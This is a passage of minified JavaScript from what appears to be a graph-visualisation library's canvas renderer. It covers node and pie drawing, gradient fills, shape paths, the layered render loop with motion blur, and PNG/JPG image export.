n=arguments.length>3&&arguments[3]!==undefined?arguments[3]:true;var a=arguments.length>4&&arguments[4]!==undefined?arguments[4]:true;var i=arguments.length>5&&arguments[5]!==undefined?arguments[5]:true;var o=this;var s,u;var l=t._private;var f=l.rscratch;var c=t.position();if(!I(c.x)||!I(c.y)){return}if(i&&!t.visible()){return}var v=i?t.effectiveOpacity():1;var d=o.usePaths();var h;var p=false;var g=t.padding();s=t.width()+2*g;u=t.height()+2*g;var y;if(r){y=r;e.translate(-y.x1,-y.y1)}var m=t.pstyle("background-image");var b=m.value;var x=new Array(b.length);var w=new Array(b.length);var E=0;for(var _=0;_<b.length;_++){var k=b[_];var S=x[_]=k!=null&&k!=="none";if(S){var C=t.cy().style().getIndexedStyle(t,"background-image-crossorigin","value",_);E++;w[_]=o.getCachedImage(k,C,(function(){l.backgroundTimestamp=Date.now();t.emitAndNotify("background")}))}}var D=t.pstyle("background-blacken").value;var T=t.pstyle("border-width").pfValue;var P=t.pstyle("background-opacity").value*v;var M=t.pstyle("border-color").value;var O=t.pstyle("border-style").value;var N=t.pstyle("border-opacity").value*v;e.lineJoin="miter";var z=function r(){var n=arguments.length>0&&arguments[0]!==undefined?arguments[0]:P;o.eleFillStyle(e,t,n)};var A=function t(){var r=arguments.length>0&&arguments[0]!==undefined?arguments[0]:N;o.colorStrokeStyle(e,M[0],M[1],M[2],r)};var L=t.pstyle("shape").strValue;var B=t.pstyle("shape-polygon-points").pfValue;if(d){e.translate(c.x,c.y);var j=o.nodePathCache=o.nodePathCache||[];var R=Me(L==="polygon"?L+","+B.join(","):L,""+u,""+s);var F=j[R];if(F!=null){h=F;p=true;f.pathCache=h}else{h=new Path2D;j[R]=f.pathCache=h}}var V=function r(){if(!p){var n=c;if(d){n={x:0,y:0}}o.nodeShapes[o.getNodeShape(t)].draw(h||e,n.x,n.y,s,u)}if(d){e.fill(h)}else{e.fill()}};var q=function r(){var n=arguments.length>0&&arguments[0]!==undefined?arguments[0]:v;var a=arguments.length>1&&arguments[1]!==undefined?arguments[1]:true;var i=l.backgrounding;var s=0;for(var u=0;u<w.length;u++){var f=t.cy().style().getIndexedStyle(t,"background-image-containment","value",u);if(a&&f==="over"||!a&&f==="inside"){s++;continue}if(x[u]&&w[u].complete&&!w[u].error){s++;o.drawInscribedImage(e,w[u],t,u,n)}}l.backgrounding=!(s===E);if(i!==l.backgrounding){t.updateStyle(false)}};var G=function r(){var n=arguments.length>0&&arguments[0]!==undefined?arguments[0]:false;var a=arguments.length>1&&arguments[1]!==undefined?arguments[1]:v;if(o.hasPie(t)){o.drawPie(e,t,a);if(n){if(!d){o.nodeShapes[o.getNodeShape(t)].draw(e,c.x,c.y,s,u)}}}};var Y=function t(){var r=arguments.length>0&&arguments[0]!==undefined?arguments[0]:v;var n=(D>0?D:-D)*r;var a=D>0?0:255;if(D!==0){o.colorFillStyle(e,a,a,a,n);if(d){e.fill(h)}else{e.fill()}}};var X=function t(){if(T>0){e.lineWidth=T;e.lineCap="butt";if(e.setLineDash){switch(O){case"dotted":e.setLineDash([1,1]);break;case"dashed":e.setLineDash([4,2]);break;case"solid":case"double":e.setLineDash([]);break}}if(d){e.stroke(h)}else{e.stroke()}if(O==="double"){e.lineWidth=T/3;var r=e.globalCompositeOperation;e.globalCompositeOperation="destination-out";if(d){e.stroke(h)}else{e.stroke()}e.globalCompositeOperation=r}if(e.setLineDash){e.setLineDash([])}}};var W=function r(){if(a){o.drawNodeOverlay(e,t,c,s,u)}};var H=function r(){if(a){o.drawNodeUnderlay(e,t,c,s,u)}};var U=function r(){o.drawElementText(e,t,null,n)};var K=t.pstyle("ghost").value==="yes";if(K){var $=t.pstyle("ghost-offset-x").pfValue;var Z=t.pstyle("ghost-offset-y").pfValue;var Q=t.pstyle("ghost-opacity").value;var J=Q*v;e.translate($,Z);z(Q*P);V();q(J,true);A(Q*N);X();G(D!==0||T!==0);q(J,false);Y(J);e.translate(-$,-Z)}if(d){e.translate(-c.x,-c.y)}H();if(d){e.translate(c.x,c.y)}z();V();q(v,true);A();X();G(D!==0||T!==0);q(v,false);Y();if(d){e.translate(-c.x,-c.y)}U();W();if(r){e.translate(y.x1,y.y1)}};var Rl=function e(t){if(!["overlay","underlay"].includes(t)){throw new Error("Invalid state")}return function(e,r,n,a,i){var o=this;if(!r.visible()){return}var s=r.pstyle("".concat(t,"-padding")).pfValue;var u=r.pstyle("".concat(t,"-opacity")).value;var l=r.pstyle("".concat(t,"-color")).value;var f=r.pstyle("".concat(t,"-shape")).value;if(u>0){n=n||r.position();if(a==null||i==null){var c=r.padding();a=r.width()+2*c;i=r.height()+2*c}o.colorFillStyle(e,l[0],l[1],l[2],u);o.nodeShapes[f].draw(e,n.x,n.y,a+s*2,i+s*2);e.fill()}}};jl.drawNodeOverlay=Rl("overlay");jl.drawNodeUnderlay=Rl("underlay");jl.hasPie=function(e){e=e[0];return e._private.hasPie};jl.drawPie=function(e,t,r,n){t=t[0];n=n||t.position();var a=t.cy().style();var i=t.pstyle("pie-size");var o=n.x;var s=n.y;var u=t.width();var l=t.height();var f=Math.min(u,l)/2;var c=0;var v=this.usePaths();if(v){o=0;s=0}if(i.units==="%"){f=f*i.pfValue}else if(i.pfValue!==undefined){f=i.pfValue/2}for(var d=1;d<=a.pieBackgroundN;d++){var h=t.pstyle("pie-"+d+"-background-size").value;var p=t.pstyle("pie-"+d+"-background-color").value;var g=t.pstyle("pie-"+d+"-background-opacity").value*r;var y=h/100;if(y+c>1){y=1-c}var m=1.5*Math.PI+2*Math.PI*c;var b=2*Math.PI*y;var x=m+b;if(h===0||c>=1||c+y>1){continue}e.beginPath();e.moveTo(o,s);e.arc(o,s,f,m,x);e.closePath();this.colorFillStyle(e,p[0],p[1],p[2],g);e.fill();c+=y}};var Fl={};var Vl=100;Fl.getPixelRatio=function(){var e=this.data.contexts[0];if(this.forcedPixelRatio!=null){return this.forcedPixelRatio}var t=e.backingStorePixelRatio||e.webkitBackingStorePixelRatio||e.mozBackingStorePixelRatio||e.msBackingStorePixelRatio||e.oBackingStorePixelRatio||e.backingStorePixelRatio||1;return(window.devicePixelRatio||1)/t};Fl.paintCache=function(e){var t=this.paintCaches=this.paintCaches||[];var r=true;var n;for(var a=0;a<t.length;a++){n=t[a];if(n.context===e){r=false;break}}if(r){n={context:e};t.push(n)}return n};Fl.createGradientStyleFor=function(e,t,r,n,a){var i;var o=this.usePaths();var s=r.pstyle(t+"-gradient-stop-colors").value,u=r.pstyle(t+"-gradient-stop-positions").pfValue;if(n==="radial-gradient"){if(r.isEdge()){var l=r.sourceEndpoint(),f=r.targetEndpoint(),c=r.midpoint();var v=zt(l,c);var d=zt(f,c);i=e.createRadialGradient(c.x,c.y,0,c.x,c.y,Math.max(v,d))}else{var h=o?{x:0,y:0}:r.position(),p=r.paddedWidth(),g=r.paddedHeight();i=e.createRadialGradient(h.x,h.y,0,h.x,h.y,Math.max(p,g))}}else{if(r.isEdge()){var y=r.sourceEndpoint(),m=r.targetEndpoint();i=e.createLinearGradient(y.x,y.y,m.x,m.y)}else{var b=o?{x:0,y:0}:r.position(),x=r.paddedWidth(),w=r.paddedHeight(),E=x/2,_=w/2;var k=r.pstyle("background-gradient-direction").value;switch(k){case"to-bottom":i=e.createLinearGradient(b.x,b.y-_,b.x,b.y+_);break;case"to-top":i=e.createLinearGradient(b.x,b.y+_,b.x,b.y-_);break;case"to-left":i=e.createLinearGradient(b.x+E,b.y,b.x-E,b.y);break;case"to-right":i=e.createLinearGradient(b.x-E,b.y,b.x+E,b.y);break;case"to-bottom-right":case"to-right-bottom":i=e.createLinearGradient(b.x-E,b.y-_,b.x+E,b.y+_);break;case"to-top-right":case"to-right-top":i=e.createLinearGradient(b.x-E,b.y+_,b.x+E,b.y-_);break;case"to-bottom-left":case"to-left-bottom":i=e.createLinearGradient(b.x+E,b.y-_,b.x-E,b.y+_);break;case"to-top-left":case"to-left-top":i=e.createLinearGradient(b.x+E,b.y+_,b.x-E,b.y-_);break}}}if(!i)return null;var S=u.length===s.length;var C=s.length;for(var D=0;D<C;D++){i.addColorStop(S?u[D]:D/(C-1),"rgba("+s[D][0]+","+s[D][1]+","+s[D][2]+","+a+")")}return i};Fl.gradientFillStyle=function(e,t,r,n){var a=this.createGradientStyleFor(e,"background",t,r,n);if(!a)return null;e.fillStyle=a};Fl.colorFillStyle=function(e,t,r,n,a){e.fillStyle="rgba("+t+","+r+","+n+","+a+")"};Fl.eleFillStyle=function(e,t,r){var n=t.pstyle("background-fill").value;if(n==="linear-gradient"||n==="radial-gradient"){this.gradientFillStyle(e,t,n,r)}else{var a=t.pstyle("background-color").value;this.colorFillStyle(e,a[0],a[1],a[2],r)}};Fl.gradientStrokeStyle=function(e,t,r,n){var a=this.createGradientStyleFor(e,"line",t,r,n);if(!a)return null;e.strokeStyle=a};Fl.colorStrokeStyle=function(e,t,r,n,a){e.strokeStyle="rgba("+t+","+r+","+n+","+a+")"};Fl.eleStrokeStyle=function(e,t,r){var n=t.pstyle("line-fill").value;if(n==="linear-gradient"||n==="radial-gradient"){this.gradientStrokeStyle(e,t,n,r)}else{var a=t.pstyle("line-color").value;this.colorStrokeStyle(e,a[0],a[1],a[2],r)}};Fl.matchCanvasSize=function(e){var t=this;var r=t.data;var n=t.findContainerClientCoords();var a=n[2];var i=n[3];var o=t.getPixelRatio();var s=t.motionBlurPxRatio;if(e===t.data.bufferCanvases[t.MOTIONBLUR_BUFFER_NODE]||e===t.data.bufferCanvases[t.MOTIONBLUR_BUFFER_DRAG]){o=s}var u=a*o;var l=i*o;var f;if(u===t.canvasWidth&&l===t.canvasHeight){return}t.fontCaches=null;var c=r.canvasContainer;c.style.width=a+"px";c.style.height=i+"px";for(var v=0;v<t.CANVAS_LAYERS;v++){f=r.canvases[v];f.width=u;f.height=l;f.style.width=a+"px";f.style.height=i+"px"}for(var v=0;v<t.BUFFER_COUNT;v++){f=r.bufferCanvases[v];f.width=u;f.height=l;f.style.width=a+"px";f.style.height=i+"px"}t.textureMult=1;if(o<=1){f=r.bufferCanvases[t.TEXTURE_BUFFER];t.textureMult=2;f.width=u*t.textureMult;f.height=l*t.textureMult}t.canvasWidth=u;t.canvasHeight=l};Fl.renderTo=function(e,t,r,n){this.render({forcedContext:e,forcedZoom:t,forcedPan:r,drawAllLayers:true,forcedPxRatio:n})};Fl.render=function(e){e=e||Ue();var t=e.forcedContext;var r=e.drawAllLayers;var n=e.drawOnlyNodeLayer;var a=e.forcedZoom;var i=e.forcedPan;var o=this;var s=e.forcedPxRatio===undefined?this.getPixelRatio():e.forcedPxRatio;var u=o.cy;var l=o.data;var f=l.canvasNeedsRedraw;var c=o.textureOnViewport&&!t&&(o.pinching||o.hoverData.dragging||o.swipePanning||o.data.wheelZooming);var v=e.motionBlur!==undefined?e.motionBlur:o.motionBlur;var d=o.motionBlurPxRatio;var h=u.hasCompoundNodes();var p=o.hoverData.draggingEles;var g=o.hoverData.selecting||o.touchData.selecting?true:false;v=v&&!t&&o.motionBlurEnabled&&!g;var y=v;if(!t){if(o.prevPxRatio!==s){o.invalidateContainerClientCoordsCache();o.matchCanvasSize(o.container);o.redrawHint("eles",true);o.redrawHint("drag",true)}o.prevPxRatio=s}if(!t&&o.motionBlurTimeout){clearTimeout(o.motionBlurTimeout)}if(v){if(o.mbFrames==null){o.mbFrames=0}o.mbFrames++;if(o.mbFrames<3){y=false}if(o.mbFrames>o.minMbLowQualFrames){o.motionBlurPxRatio=o.mbPxRBlurry}}if(o.clearingMotionBlur){o.motionBlurPxRatio=1}if(o.textureDrawLastFrame&&!c){f[o.NODE]=true;f[o.SELECT_BOX]=true}var m=u.style();var b=u.zoom();var x=a!==undefined?a:b;var w=u.pan();var E={x:w.x,y:w.y};var _={zoom:b,pan:{x:w.x,y:w.y}};var k=o.prevViewport;var S=k===undefined||_.zoom!==k.zoom||_.pan.x!==k.pan.x||_.pan.y!==k.pan.y;if(!S&&!(p&&!h)){o.motionBlurPxRatio=1}if(i){E=i}x*=s;E.x*=s;E.y*=s;var C=o.getCachedZSortedEles();function D(e,t,r,n,a){var i=e.globalCompositeOperation;e.globalCompositeOperation="destination-out";o.colorFillStyle(e,255,255,255,o.motionBlurTransparency);e.fillRect(t,r,n,a);e.globalCompositeOperation=i}function T(e,n){var s,u,f,c;if(!o.clearingMotionBlur&&(e===l.bufferContexts[o.MOTIONBLUR_BUFFER_NODE]||e===l.bufferContexts[o.MOTIONBLUR_BUFFER_DRAG])){s={x:w.x*d,y:w.y*d};u=b*d;f=o.canvasWidth*d;c=o.canvasHeight*d}else{s=E;u=x;f=o.canvasWidth;c=o.canvasHeight}e.setTransform(1,0,0,1,0,0);if(n==="motionBlur"){D(e,0,0,f,c)}else if(!t&&(n===undefined||n)){e.clearRect(0,0,f,c)}if(!r){e.translate(s.x,s.y);e.scale(u,u)}if(i){e.translate(i.x,i.y)}if(a){e.scale(a,a)}}if(!c){o.textureDrawLastFrame=false}if(c){o.textureDrawLastFrame=true;if(!o.textureCache){o.textureCache={};o.textureCache.bb=u.mutableElements().boundingBox();o.textureCache.texture=o.data.bufferCanvases[o.TEXTURE_BUFFER];var P=o.data.bufferContexts[o.TEXTURE_BUFFER];P.setTransform(1,0,0,1,0,0);P.clearRect(0,0,o.canvasWidth*o.textureMult,o.canvasHeight*o.textureMult);o.render({forcedContext:P,drawOnlyNodeLayer:true,forcedPxRatio:s*o.textureMult});var _=o.textureCache.viewport={zoom:u.zoom(),pan:u.pan(),width:o.canvasWidth,height:o.canvasHeight};_.mpan={x:(0-_.pan.x)/_.zoom,y:(0-_.pan.y)/_.zoom}}f[o.DRAG]=false;f[o.NODE]=false;var M=l.contexts[o.NODE];var I=o.textureCache.texture;var _=o.textureCache.viewport;M.setTransform(1,0,0,1,0,0);if(v){D(M,0,0,_.width,_.height)}else{M.clearRect(0,0,_.width,_.height)}var O=m.core("outside-texture-bg-color").value;var N=m.core("outside-texture-bg-opacity").value;o.colorFillStyle(M,O[0],O[1],O[2],N);M.fillRect(0,0,_.width,_.height);var b=u.zoom();T(M,false);M.clearRect(_.mpan.x,_.mpan.y,_.width/_.zoom/s,_.height/_.zoom/s);M.drawImage(I,_.mpan.x,_.mpan.y,_.width/_.zoom/s,_.height/_.zoom/s)}else if(o.textureOnViewport&&!t){o.textureCache=null}var z=u.extent();var A=o.pinching||o.hoverData.dragging||o.swipePanning||o.data.wheelZooming||o.hoverData.draggingEles||o.cy.animated();var L=o.hideEdgesOnViewport&&A;var B=[];B[o.NODE]=!f[o.NODE]&&v&&!o.clearedForMotionBlur[o.NODE]||o.clearingMotionBlur;if(B[o.NODE]){o.clearedForMotionBlur[o.NODE]=true}B[o.DRAG]=!f[o.DRAG]&&v&&!o.clearedForMotionBlur[o.DRAG]||o.clearingMotionBlur;if(B[o.DRAG]){o.clearedForMotionBlur[o.DRAG]=true}if(f[o.NODE]||r||n||B[o.NODE]){var j=v&&!B[o.NODE]&&d!==1;var M=t||(j?o.data.bufferContexts[o.MOTIONBLUR_BUFFER_NODE]:l.contexts[o.NODE]);var R=v&&!j?"motionBlur":undefined;T(M,R);if(L){o.drawCachedNodes(M,C.nondrag,s,z)}else{o.drawLayeredElements(M,C.nondrag,s,z)}if(o.debug){o.drawDebugPoints(M,C.nondrag)}if(!r&&!v){f[o.NODE]=false}}if(!n&&(f[o.DRAG]||r||B[o.DRAG])){var j=v&&!B[o.DRAG]&&d!==1;var M=t||(j?o.data.bufferContexts[o.MOTIONBLUR_BUFFER_DRAG]:l.contexts[o.DRAG]);T(M,v&&!j?"motionBlur":undefined);if(L){o.drawCachedNodes(M,C.drag,s,z)}else{o.drawCachedElements(M,C.drag,s,z)}if(o.debug){o.drawDebugPoints(M,C.drag)}if(!r&&!v){f[o.DRAG]=false}}if(o.showFps||!n&&f[o.SELECT_BOX]&&!r){var M=t||l.contexts[o.SELECT_BOX];T(M);if(o.selection[4]==1&&(o.hoverData.selecting||o.touchData.selecting)){var b=o.cy.zoom();var F=m.core("selection-box-border-width").value/b;M.lineWidth=F;M.fillStyle="rgba("+m.core("selection-box-color").value[0]+","+m.core("selection-box-color").value[1]+","+m.core("selection-box-color").value[2]+","+m.core("selection-box-opacity").value+")";M.fillRect(o.selection[0],o.selection[1],o.selection[2]-o.selection[0],o.selection[3]-o.selection[1]);if(F>0){M.strokeStyle="rgba("+m.core("selection-box-border-color").value[0]+","+m.core("selection-box-border-color").value[1]+","+m.core("selection-box-border-color").value[2]+","+m.core("selection-box-opacity").value+")";M.strokeRect(o.selection[0],o.selection[1],o.selection[2]-o.selection[0],o.selection[3]-o.selection[1])}}if(l.bgActivePosistion&&!o.hoverData.selecting){var b=o.cy.zoom();var V=l.bgActivePosistion;M.fillStyle="rgba("+m.core("active-bg-color").value[0]+","+m.core("active-bg-color").value[1]+","+m.core("active-bg-color").value[2]+","+m.core("active-bg-opacity").value+")";M.beginPath();M.arc(V.x,V.y,m.core("active-bg-size").pfValue/b,0,2*Math.PI);M.fill()}var q=o.lastRedrawTime;if(o.showFps&&q){q=Math.round(q);var G=Math.round(1e3/q);M.setTransform(1,0,0,1,0,0);M.fillStyle="rgba(255, 0, 0, 0.75)";M.strokeStyle="rgba(255, 0, 0, 0.75)";M.lineWidth=1;M.fillText("1 frame = "+q+" ms = "+G+" fps",0,20);var Y=60;M.strokeRect(0,30,250,20);M.fillRect(0,30,250*Math.min(G/Y,1),20)}if(!r){f[o.SELECT_BOX]=false}}if(v&&d!==1){var X=l.contexts[o.NODE];var W=o.data.bufferCanvases[o.MOTIONBLUR_BUFFER_NODE];var H=l.contexts[o.DRAG];var U=o.data.bufferCanvases[o.MOTIONBLUR_BUFFER_DRAG];var K=function e(t,r,n){t.setTransform(1,0,0,1,0,0);if(n||!y){t.clearRect(0,0,o.canvasWidth,o.canvasHeight)}else{D(t,0,0,o.canvasWidth,o.canvasHeight)}var a=d;t.drawImage(r,0,0,o.canvasWidth*a,o.canvasHeight*a,0,0,o.canvasWidth,o.canvasHeight)};if(f[o.NODE]||B[o.NODE]){K(X,W,B[o.NODE]);f[o.NODE]=false}if(f[o.DRAG]||B[o.DRAG]){K(H,U,B[o.DRAG]);f[o.DRAG]=false}}o.prevViewport=_;if(o.clearingMotionBlur){o.clearingMotionBlur=false;o.motionBlurCleared=true;o.motionBlur=true}if(v){o.motionBlurTimeout=setTimeout((function(){o.motionBlurTimeout=null;o.clearedForMotionBlur[o.NODE]=false;o.clearedForMotionBlur[o.DRAG]=false;o.motionBlur=false;o.clearingMotionBlur=!c;o.mbFrames=0;f[o.NODE]=true;f[o.DRAG]=true;o.redraw()}),Vl)}if(!t){u.emit("render")}};var ql={};ql.drawPolygonPath=function(e,t,r,n,a,i){var o=n/2;var s=a/2;if(e.beginPath){e.beginPath()}e.moveTo(t+o*i[0],r+s*i[1]);for(var u=1;u<i.length/2;u++){e.lineTo(t+o*i[u*2],r+s*i[u*2+1])}e.closePath()};ql.drawRoundPolygonPath=function(e,t,r,n,a,i){var o=n/2;var s=a/2;var u=_r(n,a);if(e.beginPath){e.beginPath()}for(var l=0;l<i.length/4;l++){var f=void 0,c=void 0;if(l===0){f=i.length-2}else{f=l*4-2}c=l*4+2;var v=t+o*i[l*4];var d=r+s*i[l*4+1];var h=-i[f]*i[c]-i[f+1]*i[c+1];var p=u/Math.tan(Math.acos(h)/2);var g=v-p*i[f];var y=d-p*i[f+1];var m=v+p*i[c];var b=d+p*i[c+1];if(l===0){e.moveTo(g,y)}else{e.lineTo(g,y)}e.arcTo(v,d,m,b,u)}e.closePath()};ql.drawRoundRectanglePath=function(e,t,r,n,a){var i=n/2;var o=a/2;var s=Er(n,a);if(e.beginPath){e.beginPath()}e.moveTo(t,r-o);e.arcTo(t+i,r-o,t+i,r,s);e.arcTo(t+i,r+o,t,r+o,s);e.arcTo(t-i,r+o,t-i,r,s);e.arcTo(t-i,r-o,t,r-o,s);e.lineTo(t,r-o);e.closePath()};ql.drawBottomRoundRectanglePath=function(e,t,r,n,a){var i=n/2;var o=a/2;var s=Er(n,a);if(e.beginPath){e.beginPath()}e.moveTo(t,r-o);e.lineTo(t+i,r-o);e.lineTo(t+i,r);e.arcTo(t+i,r+o,t,r+o,s);e.arcTo(t-i,r+o,t-i,r,s);e.lineTo(t-i,r-o);e.lineTo(t,r-o);e.closePath()};ql.drawCutRectanglePath=function(e,t,r,n,a){var i=n/2;var o=a/2;var s=kr();if(e.beginPath){e.beginPath()}e.moveTo(t-i+s,r-o);e.lineTo(t+i-s,r-o);e.lineTo(t+i,r-o+s);e.lineTo(t+i,r+o-s);e.lineTo(t+i-s,r+o);e.lineTo(t-i+s,r+o);e.lineTo(t-i,r+o-s);e.lineTo(t-i,r-o+s);e.closePath()};ql.drawBarrelPath=function(e,t,r,n,a){var i=n/2;var o=a/2;var s=t-i;var u=t+i;var l=r-o;var f=r+o;var c=Cr(n,a);var v=c.widthOffset;var d=c.heightOffset;var h=c.ctrlPtOffsetPct*v;if(e.beginPath){e.beginPath()}e.moveTo(s,l+d);e.lineTo(s,f-d);e.quadraticCurveTo(s+h,f,s+v,f);e.lineTo(u-v,f);e.quadraticCurveTo(u-h,f,u,f-d);e.lineTo(u,l+d);e.quadraticCurveTo(u-h,l,u-v,l);e.lineTo(s+v,l);e.quadraticCurveTo(s+h,l,s,l+d);e.closePath()};var Gl=Math.sin(0);var Yl=Math.cos(0);var Xl={};var Wl={};var Hl=Math.PI/40;for(var Ul=0*Math.PI;Ul<2*Math.PI;Ul+=Hl){Xl[Ul]=Math.sin(Ul);Wl[Ul]=Math.cos(Ul)}ql.drawEllipsePath=function(e,t,r,n,a){if(e.beginPath){e.beginPath()}if(e.ellipse){e.ellipse(t,r,n/2,a/2,0,0,2*Math.PI)}else{var i,o;var s=n/2;var u=a/2;for(var l=0*Math.PI;l<2*Math.PI;l+=Hl){i=t-s*Xl[l]*Gl+s*Wl[l]*Yl;o=r+u*Wl[l]*Gl+u*Xl[l]*Yl;if(l===0){e.moveTo(i,o)}else{e.lineTo(i,o)}}}e.closePath()};var Kl={};Kl.createBuffer=function(e,t){var r=document.createElement("canvas");r.width=e;r.height=t;return[r,r.getContext("2d")]};Kl.bufferCanvasImage=function(e){var t=this.cy;var r=t.mutableElements();var n=r.boundingBox();var a=this.findContainerClientCoords();var i=e.full?Math.ceil(n.w):a[2];var o=e.full?Math.ceil(n.h):a[3];var s=I(e.maxWidth)||I(e.maxHeight);var u=this.getPixelRatio();var l=1;if(e.scale!==undefined){i*=e.scale;o*=e.scale;l=e.scale}else if(s){var f=Infinity;var c=Infinity;if(I(e.maxWidth)){f=l*e.maxWidth/i}if(I(e.maxHeight)){c=l*e.maxHeight/o}l=Math.min(f,c);i*=l;o*=l}if(!s){i*=u;o*=u;l*=u}var v=document.createElement("canvas");v.width=i;v.height=o;v.style.width=i+"px";v.style.height=o+"px";var d=v.getContext("2d");if(i>0&&o>0){d.clearRect(0,0,i,o);d.globalCompositeOperation="source-over";var h=this.getCachedZSortedEles();if(e.full){d.translate(-n.x1*l,-n.y1*l);d.scale(l,l);this.drawElements(d,h);d.scale(1/l,1/l);d.translate(n.x1*l,n.y1*l)}else{var p=t.pan();var g={x:p.x*l,y:p.y*l};l*=t.zoom();d.translate(g.x,g.y);d.scale(l,l);this.drawElements(d,h);d.scale(1/l,1/l);d.translate(-g.x,-g.y)}if(e.bg){d.globalCompositeOperation="destination-over";d.fillStyle=e.bg;d.rect(0,0,i,o);d.fill()}}return v};function $l(e,t){var r=atob(e);var n=new ArrayBuffer(r.length);var a=new Uint8Array(n);for(var i=0;i<r.length;i++){a[i]=r.charCodeAt(i)}return new Blob([n],{type:t})}function Zl(e){var t=e.indexOf(",");return e.substr(t+1)}function Ql(e,t,r){var n=function n(){return t.toDataURL(r,e.quality)};switch(e.output){case"blob-promise":return new na((function(n,a){try{t.toBlob((function(e){if(e!=null){n(e)}else{a(new Error("`canvas.toBlob()` sent a null value in its callback"))}}),r,e.quality)}catch(e){a(e)}}));case"blob":return $l(Zl(n()),r);case"base64":return Zl(n());case"base64uri":default:return n()}}Kl.png=function(e){return Ql(e,this.bufferCanvasImage(e),"image/png")};Kl.jpg=function(e){return Ql(e,this.bufferCanvasImage(e),"image/jpeg")};var Jl={};Jl.nodeShapeImpl=function(e,t,r,n,a,i,o){switch(e){case"ellipse":return this.drawEllipsePath(t,r,n,a,i);case"polygon":return this.drawPolygonPath(t,r,n,a,i,o);case"round-polygon":return this.drawRoundPolygonPath(t,r,n,a,i,o);case"roundrectangle":case"round-rectangle":return this.drawRoundRectanglePath(t,r,n,a,i);case"cutrectangle":case"cut-rectangle":return this.drawCutRectanglePath(t,r,n,a,i);case"bottomroundrectangle":case"bottom-round-rectangle":return this.drawBottomRoundRectanglePath(t,r,n,a,i);case"barrel":return this.drawBarrelPath(t,r,n,a,i)}};var ef=rf;var tf=rf.prototype;tf.CANVAS_LAYERS=3;tf.SELECT_BOX=0;tf.DRAG=1;tf.NODE=2;tf.BUFFER_COUNT=3;tf.TEXTURE_BUFFER=0;tf.MOTIONBLUR_BUFFER_NODE=1;tf.MOTIONBLUR_BUFFER_DRAG=2;function rf(e){var t=this;t.data={canvases:new Array(tf.CANVAS_LAYERS),contexts:new Array(tf.CANVAS_LAYERS),canvasNeedsRedraw:new Array(tf.CANVAS_LAYERS),bufferCanvases:new Array(tf.BUFFER_COUNT),bufferContexts:new Array(tf.CANVAS_LAYERS)};var r="-webkit-tap-highlight-color";var n="rgba(0,0,0,0)";t.data.canvasContainer=document.createElement("div");var a=t.data.canvasContainer.style;t.data.canvasContainer.style[r]=n;a.position="relative";a.zIndex="0";a.overflow="hidden";var i=e.cy.container();i.appendChild(t.data.canvasContainer);i.style[r]=n;var o={"-webkit-user-select":"none","-moz-user-select":"-moz-none","user-select":"none","-webkit-tap-highlight-color":"rgba(0,0,0,0)","outline-style":"none"};if(Y()){o["-ms-touch-action"]="none";o["touch-action"]="none"}for(var s=0;s<tf.CANVAS_LAYERS;s++){var u=t.data.canvases[s]=document.createElement("canvas");t.data.contexts[s]=u.getContext("2d");Object.keys(o).forEach((function(e){u.style[e]=o[e]}));u.style.position="absolute";u.setAttribute("data-id","layer"+s);u.style.zIndex=String(tf.CANVAS_LAYERS-s);t.data.canvasContainer.appendChild(u);t.data.canvasNeedsRedraw[s]=false}t.data.topCanvas=t.data.canvases[0];t.data.canvases[tf.NODE].setAttribute("data-id","layer"+tf.NODE+"-node");t.data.canvases[tf.SELECT_BOX].setAttribute("data-id","layer"+tf.SELECT_BOX+"-selectbox");t.data.canvases[tf.DRAG].setAttribute("data-id","layer"+tf.DRAG+"-drag");for(var s=0;s<tf.BUFFER_COUNT;s++){t.data.bufferCanvases[s]=document.createElement("canvas");t.data.bufferContexts[s]=t.data.bufferCanvases[s].getContext("2d");t.data.bufferCanvases[s].style.position="absolute";t.data.bufferCanvases[s].setAttribute("data-id","buffer"+s);t.data.bufferCanvases[s].style.zIndex=String(-s-1);t.data.bufferCanvases[s].style.visibility="hidden"}t.pathsEnabled=true;var l=Vt();var f=function e(t){return{x:(t.x1+t.x2)/2,y:(t.y1+t.y2)/2}};var c=function e(t){return{x:-t.w/2,y:-t.h/2}};var v=function e(t){var r=t[0]._private;var n=r.oldBackgroundTimestamp===r.backgroundTimestamp;return!n};var d=function e(t){return t[0]._private.nodeKey};var h=function e(t){return t[0]._private.labelStyleKey};var p=function e(t){return t[0]._private.sourceLabelStyleKey};var g=function e(t){return t[0]._private.targetLabelStyleKey};var y=function e(r,n,a,i,o){return t.drawElement(r,n,a,false,false,o)};var m=function e(r,n,a,i,o){return t.drawElementText(r,n,a,i,"main",o)};var b=function e(r,n,a,i,o){return t.drawElementText(r,n,a,i,"source",o)};var x=function e(r,n,a,i,o){return t.drawElementText(r,n,a,i,"target",o)};var w=function e(t){t.boundingBox();return t[0]._private.bodyBounds};var E=function e(t){t.boundingBox();return t[0]._private.labelBounds.main||l};var _=function e(t){t.boundingBox();return t[0]._private.labelBounds.source||l};var k=function e(t){t.boundingBox();return t[0]._private.labelBounds.target||l};var S=function e(t,r){return r};var C=function e(t){return f(w(t))};var D=function e(t,r,n){var a=t?t+"-":"";return{x:r.x+n.pstyle(a+"text-margin-x").pfValue,y:r.y+n.pstyle(a+"text-margin-y").pfValue}};var T=function e(t,r,n){var a=t[0]._private.rscratch;return{x:a[r],y:a[n]}};var P=function e(t){return D("",T(t,"labelX","labelY"),t)};var M=function e(t){return D("source",T(t,"sourceLabelX","sourceLabelY"),t)};var I=function e(t){return D("target",T(t,"targetLabelX","targetLabelY"),t)};var O=function e(t){return c(w(t))};var N=function e(t){return c(_(t))};var z=function e(t){return c(k(t))};var A=function e(t){var r=E(t);var n=c(E(t));if(t.isNode()){switch(t.pstyle("text-halign").value){case"left":n.x=-r.w;break;case"right":n.x=0;break}switch(t.pstyle("text-valign").value){case"top":n.y=-r.h;break;case"bottom":n.y=0;break}}return n};var L=t.data.eleTxrCache=new Ju(t,{getKey:d,doesEleInvalidateKey:v,drawElement:y,getBoundingBox:w,getRotationPoint:C,getRotationOffset:O,allowEdgeTxrCaching:false,allowParentTxrCaching:false});var B=t.data.lblTxrCache=new Ju(t,{getKey:h,drawElement:m,getBoundingBox:E,getRotationPoint:P,getRotationOffset:A,isVisible:S});var j=t.data.slbTxrCache=new Ju(t,{getKey:p,drawElement:b,getBoundingBox:_,getRotationPoint:M,getRotationOffset:N,isVisible:S});var R=t.data.tlbTxrCache=new Ju(t,{getKey:g,drawElement:x,getBoundingBox:k,getRotationPoint:I,getRotationOffset:z,isVisible:S});var F=t.data.lyrTxrCache=new pl(t);t.onUpdateEleCalcs((function 